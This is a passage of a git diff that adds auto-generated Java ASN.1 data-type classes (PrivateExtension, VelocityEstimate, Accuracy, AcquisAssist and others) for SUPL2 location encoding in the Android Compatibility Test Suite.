+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PrivateExtension != null) {
+ return ImmutableList.of(TAG_PrivateExtension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PrivateExtension from encoded stream.
+ */
+ public static PrivateExtension fromPerUnaligned(byte[] encodedBytes) {
+ PrivateExtension result = new PrivateExtension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PrivateExtension from encoded stream.
+ */
+ public static PrivateExtension fromPerAligned(byte[] encodedBytes) {
+ PrivateExtension result = new PrivateExtension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PrivateExtension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
new file mode 100755
index 0000000..49e18ad
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.map_extensiondatatypes;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PrivateExtensionList
+ extends Asn1SequenceOf<PrivateExtension> {
+ //
+
+ private static final Asn1Tag TAG_PrivateExtensionList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PrivateExtensionList() {
+ super();
+ setMinSize(1);
+setMaxSize(10);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PrivateExtensionList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PrivateExtensionList != null) {
+ return ImmutableList.of(TAG_PrivateExtensionList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PrivateExtensionList from encoded stream.
+ */
+ public static PrivateExtensionList fromPerUnaligned(byte[] encodedBytes) {
+ PrivateExtensionList result = new PrivateExtensionList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PrivateExtensionList from encoded stream.
+ */
+ public static PrivateExtensionList fromPerAligned(byte[] encodedBytes) {
+ PrivateExtensionList result = new PrivateExtensionList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public PrivateExtension createAndAddValue() {
+ PrivateExtension value = new PrivateExtension();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PrivateExtensionList = [\n");
+ final String internalIndent = indent + " ";
+ for (PrivateExtension value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
new file mode 100755
index 0000000..b7d0738
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.map_lcs_datatypes;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Ext_GeographicalInformation extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_Ext_GeographicalInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ext_GeographicalInformation() {
+ super();
+ setMinSize(1);
+setMaxSize(20);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ext_GeographicalInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ext_GeographicalInformation != null) {
+ return ImmutableList.of(TAG_Ext_GeographicalInformation);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ext_GeographicalInformation from encoded stream.
+ */
+ public static Ext_GeographicalInformation fromPerUnaligned(byte[] encodedBytes) {
+ Ext_GeographicalInformation result = new Ext_GeographicalInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ext_GeographicalInformation from encoded stream.
+ */
+ public static Ext_GeographicalInformation fromPerAligned(byte[] encodedBytes) {
+ Ext_GeographicalInformation result = new Ext_GeographicalInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "Ext_GeographicalInformation";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java b/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
new file mode 100755
index 0000000..feff328
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.map_lcs_datatypes;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class VelocityEstimate extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_VelocityEstimate
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public VelocityEstimate() {
+ super();
+ setMinSize(4);
+setMaxSize(7);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_VelocityEstimate;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_VelocityEstimate != null) {
+ return ImmutableList.of(TAG_VelocityEstimate);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new VelocityEstimate from encoded stream.
+ */
+ public static VelocityEstimate fromPerUnaligned(byte[] encodedBytes) {
+ VelocityEstimate result = new VelocityEstimate();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new VelocityEstimate from encoded stream.
+ */
+ public static VelocityEstimate fromPerAligned(byte[] encodedBytes) {
+ VelocityEstimate result = new VelocityEstimate();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "VelocityEstimate";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Accuracy.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Accuracy.java
new file mode 100755
index 0000000..63746a0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Accuracy.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Accuracy extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_Accuracy
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Accuracy() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Accuracy;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Accuracy != null) {
+ return ImmutableList.of(TAG_Accuracy);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Accuracy from encoded stream.
+ */
+ public static Accuracy fromPerUnaligned(byte[] encodedBytes) {
+ Accuracy result = new Accuracy();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Accuracy from encoded stream.
+ */
+ public static Accuracy fromPerAligned(byte[] encodedBytes) {
+ Accuracy result = new Accuracy();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "Accuracy = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AccuracyOpt.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AccuracyOpt.java
new file mode 100755
index 0000000..607aeb9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AccuracyOpt.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AccuracyOpt extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AccuracyOpt
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AccuracyOpt() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AccuracyOpt;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AccuracyOpt != null) {
+ return ImmutableList.of(TAG_AccuracyOpt);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AccuracyOpt from encoded stream.
+ */
+ public static AccuracyOpt fromPerUnaligned(byte[] encodedBytes) {
+ AccuracyOpt result = new AccuracyOpt();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AccuracyOpt from encoded stream.
+ */
+ public static AccuracyOpt fromPerAligned(byte[] encodedBytes) {
+ AccuracyOpt result = new AccuracyOpt();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Accuracy accuracy_;
+ public Accuracy getAccuracy() {
+ return accuracy_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Accuracy
+ */
+ public void setAccuracy(Asn1Object value) {
+ this.accuracy_ = (Accuracy) value;
+ }
+ public Accuracy setAccuracyToNewInstance() {
+ accuracy_ = new Accuracy();
+ return accuracy_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAccuracy() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAccuracy();
+ }
+
+ @Override public void setToNewInstance() {
+ setAccuracyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Accuracy.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "accuracy : "
+ + getAccuracy().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AccuracyOpt = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisAssist.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisAssist.java
new file mode 100755
index 0000000..9e3fb1d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisAssist.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AcquisAssist extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AcquisAssist
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AcquisAssist() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AcquisAssist;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AcquisAssist != null) {
+ return ImmutableList.of(TAG_AcquisAssist);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AcquisAssist from encoded stream.
+ */
+ public static AcquisAssist fromPerUnaligned(byte[] encodedBytes) {
+ AcquisAssist result = new AcquisAssist();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AcquisAssist from encoded stream.
+ */
+ public static AcquisAssist fromPerAligned(byte[] encodedBytes) {
+ AcquisAssist result = new AcquisAssist();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private TimeRelation timeRelation_;
+ public TimeRelation getTimeRelation() {
+ return timeRelation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeRelation
+ */
+ public void setTimeRelation(Asn1Object value) {
+ this.timeRelation_ = (TimeRelation) value;
+ }
+ public TimeRelation setTimeRelationToNewInstance() {
+ timeRelation_ = new TimeRelation();
+ return timeRelation_;
+ }
+
+ private SeqOfAcquisElement acquisList_;
+ public SeqOfAcquisElement getAcquisList() {
+ return acquisList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfAcquisElement
+ */
+ public void setAcquisList(Asn1Object value) {
+ this.acquisList_ = (SeqOfAcquisElement) value;
+ }
+ public SeqOfAcquisElement setAcquisListToNewInstance() {
+ acquisList_ = new SeqOfAcquisElement();
+ return acquisList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeRelation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeRelation();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeRelationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeRelation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeRelation : "
+ + getTimeRelation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAcquisList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAcquisList();
+ }
+
+ @Override public void setToNewInstance() {
+ setAcquisListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfAcquisElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "acquisList : "
+ + getAcquisList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AcquisAssist = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisElement.java
new file mode 100755
index 0000000..bfb0c01
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisElement.java
@@ -0,0 +1,1050 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AcquisElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AcquisElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AcquisElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AcquisElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AcquisElement != null) {
+ return ImmutableList.of(TAG_AcquisElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AcquisElement from encoded stream.
+ */
+ public static AcquisElement fromPerUnaligned(byte[] encodedBytes) {
+ AcquisElement result = new AcquisElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AcquisElement from encoded stream.
+ */
+ public static AcquisElement fromPerAligned(byte[] encodedBytes) {
+ AcquisElement result = new AcquisElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
